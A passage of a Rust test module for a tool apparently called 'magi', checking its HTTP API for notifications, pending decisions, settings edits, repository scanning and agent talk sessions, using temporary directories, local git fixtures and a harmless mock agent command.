14424        let listed = fx.get("/api/notifications").await.json();
14425        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14426        questions
14427            .update(&q.id, |q| {
14428                q.abandon("run gone");
14429                Ok(())
14430            })
14431            .unwrap();
14432        let listed = fx.get("/api/notifications").await.json();
14433        assert!(listed["items"][0]["answerable_question"].is_null());
14434        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14435        assert!(
14436            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14437                .unwrap()
14438                .contains("answerable_question")
14439        );
14440    }
14441
14442    #[tokio::test]
14443    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14444        let fx = Fixture::start().await;
14445        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14446        let task = crate::queue::Task::new(
14447            "work".into(),
14448            "work".into(),
14449            fx.home.path().into(),
14450            crate::queue::Source::Human,
14451        );
14452        let inquiry = outbox
14453            .file(&task, None, "test".into(), "入力待ち", "詳細")
14454            .unwrap();
14455        let root = fx.home.path().join("notifications/task-inquiries");
14456        std::fs::write(root.join("broken.json"), "{").unwrap();
14457        let mut unsupported = inquiry.clone();
14458        unsupported.id = "unsupported".into();
14459        unsupported.schema = 99;
14460        std::fs::write(
14461            root.join("unsupported.json"),
14462            serde_json::to_vec(&unsupported).unwrap(),
14463        )
14464        .unwrap();
14465        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14466        for _ in 0..2 {
14467            let response = fx.get("/api/decisions").await;
14468            assert_eq!(response.status, 200, "{}", response.body);
14469            let listed = response.json();
14470            assert_eq!(listed["unreadable"], 2);
14471            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14472            assert_eq!(listed["items"][0]["id"], inquiry.id);
14473            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14474        }
14475        assert_eq!(
14476            before,
14477            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14478        );
14479        assert!(outbox.list().is_err());
14480        std::fs::remove_file(root.join("broken.json")).unwrap();
14481        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14482        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14483    }
14484
14485    #[tokio::test]
14486    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14487        let fx = Fixture::start().await;
14488        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14489        std::fs::create_dir_all(&root).unwrap();
14490        let journal = serde_json::json!({
14491            "schema": 1, "pending": ["saved-inquiry"],
14492            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14493        });
14494        let bytes = serde_json::to_vec(&journal).unwrap();
14495        std::fs::write(root.join("state.json"), &bytes).unwrap();
14496        for _ in 0..2 {
14497            let response = fx.get("/api/decisions").await;
14498            assert_eq!(response.status, 200);
14499            let listed = response.json();
14500            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14501            assert!(listed["items"].as_array().unwrap().is_empty());
14502            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14503        }
14504        // An unreadable journal must not make the endpoint hide the list.
14505        std::fs::write(root.join("state.json"), b"{").unwrap();
14506        let response = fx.get("/api/decisions").await;
14507        assert_eq!(response.status, 200);
14508        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14509    }
14510
14511    #[tokio::test]
14512    async fn notifications_list_read_dismiss_and_health_agree() {
14513        let fx = Fixture::start().await;
14514        let store = Notices::at(fx.home.path().join("notifications"));
14515        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14516        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14517
14518        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14519        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14520
14521        store
14522            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14523            .unwrap();
14524        let health = fx.get("/api/health").await.json();
14525        assert_eq!(health["notifications_unread"], 2);
14526        assert_ne!(
14527            health["notifications_rev"], rev0,
14528            "the badge must move live"
14529        );
14530
14531        let listed = fx.get("/api/notifications").await.json();
14532        assert_eq!(listed["unread"], 2);
14533        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14534        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14535
14536        let read = fx
14537            .post(&format!("/api/notifications/{}/read", a.id), None)
14538            .await;
14539        assert_eq!(read.status, 200, "{}", read.body);
14540        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14541
14542        let gone = fx
14543            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14544            .await;
14545        assert_eq!(gone.status, 200, "{}", gone.body);
14546        let listed = fx.get("/api/notifications").await.json();
14547        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14548        assert_eq!(listed["unread"], 0);
14549
14550        store.raise(Notice::info("x", "again")).unwrap();
14551        let all = fx.post("/api/notifications/read-all", None).await;
14552        assert_eq!(all.status, 200, "{}", all.body);
14553        assert_eq!(all.json()["marked"], 1);
14554        assert_eq!(
14555            fx.get("/api/health").await.json()["notifications_unread"],
14556            0
14557        );
14558
14559        let missing = fx.post("/api/notifications/nope/read", None).await;
14560        assert_eq!(missing.status, 404, "{}", missing.body);
14561        assert!(missing.json()["error"].is_string());
14562    }
14563
14564    /// New work reaches the queue through `magi task add`, a standing talk's
14565    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14566    /// so the compose form and that route are gone. The tests that covered
14567    /// that route's validation went with it, and nothing was left asserting
14568    /// it stays gone — so a re-added handler would silently let the phone
14569    /// file briefs no one validated.
14570    #[tokio::test]
14571    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14572        let f = Fixture::start().await;
14573
14574        let res = f
14575            .post(
14576                "/api/queue",
14577                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14578            )
14579            .await;
14580
14581        assert_eq!(
14582            res.status, 405,
14583            "POST /api/queue must not be a route: {}",
14584            res.body
14585        );
14586        assert!(
14587            f.queue().list().is_empty(),
14588            "a task filed by a route that does not exist must not reach the disk"
14589        );
14590        // The path itself is still served — the Queue view reads it — and the
14591        // per-task controls are untouched by the entry being removed.
14592        assert_eq!(f.get("/api/queue").await.status, 200);
14593    }
14594
14595    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14596    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14597        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14598            .expect("checkout dir");
14599    }
14600
14601    /// Two command agents, so a config needs no real CLI.
14602    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14603
14604    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14605        let tmp = TempDir::new().expect("tempdir");
14606        let repo = tmp.path().join("repo");
14607        std::fs::create_dir_all(&repo).expect("repo dir");
14608        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14609        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14610        if let Some(text) = machine_toml {
14611            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14612            std::fs::write(&machine, text).expect("machine toml");
14613        }
14614        (tmp, repo, machine)
14615    }
14616
14617    async fn settings_checkout(path: &FsPath, text: &str) {
14618        std::fs::create_dir_all(path).unwrap();
14619        std::fs::write(path.join("magi.toml"), text).unwrap();
14620        for args in [
14621            vec!["init", "-b", "main"],
14622            vec!["add", "magi.toml"],
14623            vec![
14624                "-c",
14625                "user.name=Test",
14626                "-c",
14627                "user.email=test@example.invalid",
14628                "commit",
14629                "-m",
14630                "fixture",
14631            ],
14632            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14633            vec![
14634                "symbolic-ref",
14635                "refs/remotes/origin/HEAD",
14636                "refs/remotes/origin/main",
14637            ],
14638        ] {
14639            crate::git::git(path, &args).await.unwrap();
14640        }
14641    }
14642
14643    #[tokio::test]
14644    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14645        let (tmp, repo, machine) =
14646            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14647        let root = tmp.path().join("roots");
14648        let selected = root.join("host/owner/selected");
14649        settings_checkout(
14650            &selected,
14651            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14652        )
14653        .await;
14654        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14655        let before = std::fs::read(&machine).unwrap();
14656        let ui = Arc::new(
14657            Ui::new(
14658                Queue::at(tmp.path().join("queue")),
14659                Questions::at(tmp.path().join("questions")),
14660                Talks::at(tmp.path().join("talks")),
14661                tmp.path().join("runs"),
14662                tmp.path().to_path_buf(),
14663                repo.clone(),
14664            )
14665            .with_machine_config(Some(machine.clone())),
14666        );
14667        let query = || {
14668            Query(SettingsQuery {
14669                repo: Some(selected.clone()),
14670            })
14671        };
14672        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14673        assert!(v.error.is_none(), "{:?}", v.error);
14674        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14675        assert_eq!(conductor.source, "repo");
14676        assert_eq!(
14677            conductor.machine_value,
14678            Some(toml::Value::String("a".into()))
14679        );
14680        assert!(!conductor.editable);
14681        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14682        assert_eq!(
14683            judges.count.as_ref().unwrap().machine_value,
14684            Some(toml::Value::Integer(1))
14685        );
14686        assert!(
14687            !v.roles
14688                .iter()
14689                .find(|r| r.key == "reviewers")
14690                .unwrap()
14691                .editable
14692        );
14693        let unknown = || {
14694            Query(SettingsQuery {
14695                repo: Some(tmp.path().to_path_buf()),
14696            })
14697        };
14698        assert_eq!(
14699            settings_get(State(ui.clone()), unknown())
14700                .await
14701                .unwrap_err()
14702                .status,
14703            StatusCode::UNPROCESSABLE_ENTITY
14704        );
14705        let body = || {
14706            Ok(Json(RolesBody {
14707                revision: v.revision.clone(),
14708                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14709                counts: Default::default(),
14710            }))
14711        };
14712        assert_eq!(
14713            settings_put_roles(State(ui.clone()), unknown(), body())
14714                .await
14715                .unwrap_err()
14716                .status,
14717            StatusCode::UNPROCESSABLE_ENTITY
14718        );
14719        assert_eq!(std::fs::read(&machine).unwrap(), before);
14720        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14721            .await
14722            .unwrap();
14723        assert_eq!(
14724            saved.repo,
14725            selected.canonicalize().unwrap().display().to_string()
14726        );
14727        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14728        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14729        // A cache miss refreshes the stable candidate list exactly for validation.
14730        let fresh = root.join("host/owner/fresh");
14731        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14732        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14733            .await
14734            .unwrap();
14735        assert_eq!(fresh_view.repositories.len(), 3);
14736    }
14737
14738    #[tokio::test]
14739    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14740        let (tmp, repo, machine) = settings_dirs(
14741            "[roles]\nreviewers = [\"a\"]\n",
14742            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14743        );
14744        let root = tmp.path().join("roots");
14745        let selected = root.join("host/owner/selected");
14746        settings_checkout(
14747            &selected,
14748            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14749        )
14750        .await;
14751        let broken = root.join("host/owner/broken");
14752        settings_checkout(&broken, "[roles\nbroken").await;
14753        let machine_text = format!(
14754            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14755            toml::Value::String(root.display().to_string())
14756        );
14757        std::fs::write(&machine, &machine_text).unwrap();
14758        let originals: Vec<_> = [&repo, &selected, &broken]
14759            .iter()
14760            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14761            .collect();
14762        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14763        let default = f.get("/api/settings").await.json();
14764        assert_eq!(
14765            default["repo"],
14766            repo.canonicalize().unwrap().display().to_string()
14767        );
14768        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14769        let query = format!("?repo={}", selected.display());
14770        let res = f.get(&format!("/api/settings{query}")).await;
14771        assert_eq!(res.status, 200, "{}", res.body);
14772        let v = res.json();
14773        assert!(v["error"].is_null(), "{v}");
14774        assert_eq!(v["repositories"], default["repositories"]);
14775        let role = |key: &str| {
14776            v["roles"]
14777                .as_array()
14778                .unwrap()
14779                .iter()
14780                .find(|r| r["key"] == key)
14781                .unwrap()
14782        };
14783        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14784        assert_eq!(role("advisors")["source"], "repo");
14785        assert_eq!(role("advisors")["editable"], false);
14786        assert!(role("advisors")["machine_value"].is_null());
14787        assert_eq!(role("judges")["count"]["value"], 2);
14788        assert_eq!(role("judges")["count"]["machine_value"], 1);
14789        assert_eq!(role("judges")["count"]["source"], "repo");
14790        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14791        assert!(
14792            source.contains("origin/main") && !source.contains("magi/config/"),
14793            "{source}"
14794        );
14795        assert_eq!(
14796            role("reviewers")["editable"],
14797            false,
14798            "default context outside roots must protect its declarations"
14799        );
14800        let body =
14801            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14802        let unknown = format!("?repo={}", tmp.path().display());
14803        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14804        assert_eq!(
14805            f.put(&format!("/api/settings/roles{unknown}"), &body)
14806                .await
14807                .status,
14808            422
14809        );
14810        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14811        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14812            .to_string();
14813        assert_eq!(
14814            f.put(&format!("/api/settings/roles{query}"), &refuse)
14815                .await
14816                .status,
14817            422
14818        );
14819        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14820        assert_eq!(saved.status, 200, "{}", saved.body);
14821        assert_eq!(saved.json()["repo"], v["repo"]);
14822        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14823        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14824        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14825            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14826        }
14827        let error = f
14828            .get(&format!("/api/settings?repo={}", broken.display()))
14829            .await;
14830        assert_eq!(error.status, 200);
14831        assert!(error.json()["error"]["message"].is_string());
14832        assert_eq!(error.json()["repositories"], default["repositories"]);
14833    }
14834
14835    #[tokio::test]
14836    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14837        let (_tmp, repo, machine) =
14838            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14839        let f = Fixture::with_repo_and_machine(repo, machine).await;
14840        let res = f.get("/api/settings").await;
14841        assert_eq!(res.status, 200, "{}", res.body);
14842        let v = res.json();
14843        assert!(v["error"].is_null(), "{v}");
14844        let role = |k: &str| {
14845            v["roles"]
14846                .as_array()
14847                .and_then(|r| r.iter().find(|x| x["key"] == k))
14848                .cloned()
14849                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14850        };
14851        assert_eq!(role("judges")["source"], "machine");
14852        assert_eq!(role("judges")["editable"], true);
14853        assert_eq!(role("implementers")["source"], "default");
14854        let adv = role("advisors");
14855        assert_eq!(adv["fallback"], "judges");
14856        assert!(
14857            adv["seats"]
14858                .as_array()
14859                .is_some_and(|s| s.iter().all(|x| x == "b")),
14860            "{adv}"
14861        );
14862        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14863        assert_eq!(v["agents"][0]["source"], "repo");
14864    }
14865
14866    #[tokio::test]
14867    async fn settings_get_reports_a_config_that_does_not_parse() {
14868        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14869        let f = Fixture::with_repo_and_machine(repo, machine).await;
14870        let res = f.get("/api/settings").await;
14871        assert_eq!(res.status, 200, "{}", res.body);
14872        let v = res.json();
14873        assert!(v["error"]["message"].is_string(), "{v}");
14874        assert!(
14875            v["error"]["path"]
14876                .as_str()
14877                .is_some_and(|p| p.ends_with("magi.toml")),
14878            "{v}"
14879        );
14880        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14881    }
14882
14883    #[tokio::test]
14884    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14885        let (_tmp, repo, machine) = settings_dirs(
14886            SETTINGS_AGENTS,
14887            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14888        );
14889        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14890        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14891        let rev = f.get("/api/settings").await.json()["revision"]
14892            .as_str()
14893            .expect("revision")
14894            .to_owned();
14895        let body = serde_json::json!({
14896            "revision": rev,
14897            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14898        })
14899        .to_string();
14900        let res = f.put("/api/settings/roles", &body).await;
14901        assert_eq!(res.status, 200, "{}", res.body);
14902        let text = std::fs::read_to_string(&machine).expect("machine");
14903        assert_eq!(
14904            text,
14905            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14906        );
14907        assert_eq!(
14908            std::fs::read(repo.join("magi.toml")).expect("read"),
14909            repo_before
14910        );
14911        let again = f.get("/api/settings").await.json();
14912        let judges = again["roles"]
14913            .as_array()
14914            .expect("roles")
14915            .iter()
14916            .find(|r| r["key"] == "judges")
14917            .expect("judges")
14918            .clone();
14919        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14920        // The old revision is now stale.
14921        let stale = f.put("/api/settings/roles", &body).await;
14922        assert_eq!(stale.status, 409, "{}", stale.body);
14923    }
14924
14925    #[tokio::test]
14926    async fn settings_counts_are_reported_and_saved() {
14927        let (_tmp, repo, machine) = settings_dirs(
14928            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14929            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14930        );
14931        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14932        let v = f.get("/api/settings").await.json();
14933        let count = |v: &serde_json::Value, k: &str| {
14934            v["roles"]
14935                .as_array()
14936                .and_then(|r| r.iter().find(|x| x["key"] == k))
14937                .map(|x| x["count"].clone())
14938                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14939        };
14940        let imp = count(&v, "implementers");
14941        assert_eq!(imp["value"], 2);
14942        assert_eq!(imp["source"], "machine");
14943        assert_eq!(imp["file_key"], "candidates");
14944        assert_eq!(imp["roster_len"], 2);
14945        assert_eq!(imp["backups"], 0);
14946        assert_eq!(count(&v, "judges")["source"], "default");
14947        assert_eq!(count(&v, "advisors")["min"], 0);
14948        assert_eq!(count(&v, "reviewers")["editable"], false);
14949        assert!(
14950            count(&v, "reviewers")["locked_reason"]
14951                .as_str()
14952                .is_some_and(|m| m.contains("graph.reviewers"))
14953        );
14954        assert!(count(&v, "fixer").is_null());
14955        let rev = v["revision"].as_str().expect("revision").to_owned();
14956        let body = serde_json::json!({
14957            "revision": rev,
14958            "roles": { "judges": ["b"] },
14959            "counts": { "implementers": 1, "advisors": 0 }
14960        })
14961        .to_string();
14962        let res = f.put("/api/settings/roles", &body).await;
14963        assert_eq!(res.status, 200, "{}", res.body);
14964        let text = std::fs::read_to_string(&machine).expect("machine");
14965        assert_eq!(
14966            text,
14967            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14968        );
14969        let after = f.get("/api/settings").await.json();
14970        assert_eq!(count(&after, "implementers")["value"], 1);
14971        assert_eq!(count(&after, "implementers")["backups"], 1);
14972        assert_eq!(count(&after, "advisors")["value"], 0);
14973        let before = std::fs::read_to_string(&machine).expect("machine");
14974        let rev = after["revision"].as_str().expect("revision").to_owned();
14975        for counts in [
14976            serde_json::json!({ "judges": 0 }),
14977            serde_json::json!({ "judges": "x" }),
14978            serde_json::json!({ "judges": 2.5 }),
14979            serde_json::json!({ "judges": -1 }),
14980            serde_json::json!({ "reviewers": 3 }),
14981            serde_json::json!({ "bogus": 3 }),
14982        ] {
14983            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14984            let res = f.put("/api/settings/roles", &body).await;
14985            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14986            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14987        }
14988    }
14989
14990    #[tokio::test]
14991    async fn settings_put_refuses_without_touching_the_file() {
14992        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14993        let (_tmp, repo, machine) = settings_dirs(
14994            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14995            Some(machine_text),
14996        );
14997        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14998        let rev = f.get("/api/settings").await.json()["revision"]
14999            .as_str()
15000            .expect("revision")
15001            .to_owned();
15002        for roles in [
15003            serde_json::json!({ "judges": ["nope"] }),
15004            serde_json::json!({ "reviewers": ["b"] }),
15005            serde_json::json!({ "bogus": ["a"] }),
15006        ] {
15007            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15008            let res = f.put("/api/settings/roles", &body).await;
15009            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15010            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15011            assert_eq!(
15012                std::fs::read_to_string(&machine).expect("machine"),
15013                machine_text
15014            );
15015        }
15016    }
15017
15018    #[tokio::test]
15019    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15020        let tmp = TempDir::new().expect("tempdir");
15021        let repo = tmp.path().join("repo");
15022        std::fs::create_dir_all(&repo).expect("repo dir");
15023        let root = tmp.path().join("root");
15024        make_checkout(&root, "github.com", "yukimemi", "magi");
15025        std::fs::write(
15026            repo.join("magi.toml"),
15027            format!(
15028                "[repos]\nroots = [{:?}]\n",
15029                root.to_string_lossy().into_owned()
15030            ),
15031        )
15032        .expect("write magi.toml");
15033
15034        let f = Fixture::with_repo(repo).await;
15035        let res = f.get("/api/repos").await;
15036        assert_eq!(res.status, 200, "{}", res.body);
15037        let list = res.json();
15038        let repos = list.as_array().expect("an array");
15039        assert_eq!(repos.len(), 1);
15040        assert_eq!(repos[0]["name"], "yukimemi/magi");
15041        assert!(
15042            repos[0]["path"]
15043                .as_str()
15044                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15045            "{list}"
15046        );
15047    }
15048
15049    #[tokio::test]
15050    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15051        let tmp = TempDir::new().expect("tempdir");
15052        let repo = tmp.path().join("repo");
15053        std::fs::create_dir_all(&repo).expect("repo dir");
15054        let root = tmp.path().join("root");
15055        make_checkout(&root, "github.com", "yukimemi", "magi");
15056        std::fs::write(
15057            repo.join("magi.toml"),
15058            format!(
15059                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15060                root.to_string_lossy().into_owned()
15061            ),
15062        )
15063        .expect("write magi.toml");
15064
15065        let f = Fixture::with_repo(repo).await;
15066        let first = f.get("/api/repos").await;
15067        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15068
15069        // A second checkout appears; within the TTL the cached answer must
15070        // not notice it.
15071        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15072        let second = f.get("/api/repos").await;
15073        assert_eq!(
15074            second.json().as_array().map(Vec::len),
15075            Some(1),
15076            "a fresh cache must not rescan inside the TTL"
15077        );
15078
15079        let refreshed = f.get("/api/repos?refresh=1").await;
15080        assert_eq!(
15081            refreshed.json().as_array().map(Vec::len),
15082            Some(2),
15083            "an explicit refresh must rescan even inside the TTL"
15084        );
15085    }
15086
15087    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15088    /// string, declared straight in a repository's own `magi.toml` rather
15089    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15090    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15091    /// this is safe to run over a real HTTP round trip.
15092    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15093
15094    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15095    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15096    /// even though it takes no turn, and `talk_say` invokes one.
15097    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15098        let tmp = TempDir::new().expect("tempdir");
15099        let repo = tmp.path().join("repo");
15100        std::fs::create_dir_all(&repo).expect("repo dir");
15101        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15102        let f = Fixture::with_repo(repo.clone()).await;
15103        (tmp, repo, f)
15104    }
15105
15106    #[tokio::test]
15107    async fn posting_a_talk_with_remembered_choices_is_soft() {
15108        let (_tmp, _repo, f) = talk_fixture().await;
15109
15110        let good = f
15111            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15112            .await;
15113        assert_eq!(good.status, 201, "{}", good.body);
15114        assert_eq!(good.json()["persona"], "rei");
15115
15116        // Wrong values and wrong types are dropped one by one, never a 4xx.
15117        let stale = f
15118            .post(
15119                "/api/talks",
15120                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15121            )
15122            .await;
15123        assert_eq!(stale.status, 201, "{}", stale.body);
15124        let v = stale.json();
15125        assert_eq!(v["implementers"], 1);
15126        assert_ne!(v["persona"], "nobody");
15127        let typed = f
15128            .post(
15129                "/api/talks",
15130                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15131            )
15132            .await;
15133        assert_eq!(typed.status, 201, "{}", typed.body);
15134
15135        // The strict `agent` field still refuses an unknown id.
15136        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15137        assert!(
15138            !strict.status.to_string().starts_with('2'),
15139            "{}",
15140            strict.body
15141        );
15142    }
15143
15144    #[tokio::test]
15145    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15146        let (_tmp, _repo, f) = talk_fixture().await;
15147
15148        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15149        // is the ordinary way a phone opens a talk.
15150        let opened = f.post("/api/talks", None).await;
15151        assert_eq!(opened.status, 201, "{}", opened.body);
15152        let body = opened.json();
15153        assert_eq!(body["status"], "open");
15154        assert_eq!(
15155            body["turns"].as_array().unwrap().len(),
15156            0,
15157            "opening takes no agent turn: there is nothing yet to answer"
15158        );
15159
15160        // An explicit empty object is the same request as none at all.
15161        let also_opened = f.post("/api/talks", Some("{}")).await;
15162        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15163
15164        let listed = f.get("/api/talks").await.json();
15165        assert_eq!(listed.as_array().unwrap().len(), 2);
15166    }
15167
15168    #[tokio::test]
15169    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15170        let tmp = TempDir::new().expect("tempdir");
15171        let repo = tmp.path().join("repo");
15172        std::fs::create_dir_all(&repo).expect("repo dir");
15173        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15174        std::fs::write(
15175            repo.join("magi.toml"),
15176            format!("{MOCK_AGENT_TOML}\n{second}"),
15177        )
15178        .expect("write magi.toml");
15179        let home = TempDir::new().expect("temp home");
15180        let talks = Talks::at(home.path().join("talks"));
15181        let ui = Arc::new(
15182            Ui::new(
15183                Queue::at(home.path().join("queue")),
15184                Questions::at(home.path().join("questions")),
15185                talks.clone(),
15186                home.path().join("runs"),
15187                home.path().to_path_buf(),
15188                repo.clone(),
15189            )
15190            .with_worktrees_root(home.path().join("wt")),
15191        );
15192        let cfg = config_for(&repo).await.expect("discover config");
15193        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15194        let id = talk.id.clone();
15195        let call = |agent: &str| {
15196            talk_agent(
15197                State(Arc::clone(&ui)),
15198                Path(id.clone()),
15199                Json(TalkAgent {
15200                    agent: agent.to_owned(),
15201                }),
15202            )
15203        };
15204
15205        let unknown = call("nobody").await.expect_err("unknown agent");
15206        assert_eq!(
15207            unknown.status,
15208            StatusCode::BAD_REQUEST,
15209            "{}",
15210            unknown.message
15211        );
15212
15213        {
15214            // Nothing refused so far took a claim, so the guard is free to take
15215            // and holding it is what makes the talk busy.
15216            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15217            let busy = call("second").await.expect_err("busy talk");
15218            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15219            assert!(
15220                busy.message.contains("a talk turn is running"),
15221                "{}",
15222                busy.message
15223            );
15224            drop(guard);
15225        }
15226        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15227
15228        let Json(view) = call("second").await.expect("switch");
15229        assert_eq!(view.talk.agent, "second");
15230        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15231        let saved = talks.get(&id).expect("reload");
15232        assert_eq!(saved.agent, "second");
15233        assert_eq!(saved.turns.len(), 1);
15234        assert!(!view.thinking);
15235        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15236        for agent in ["mock", "second"] {
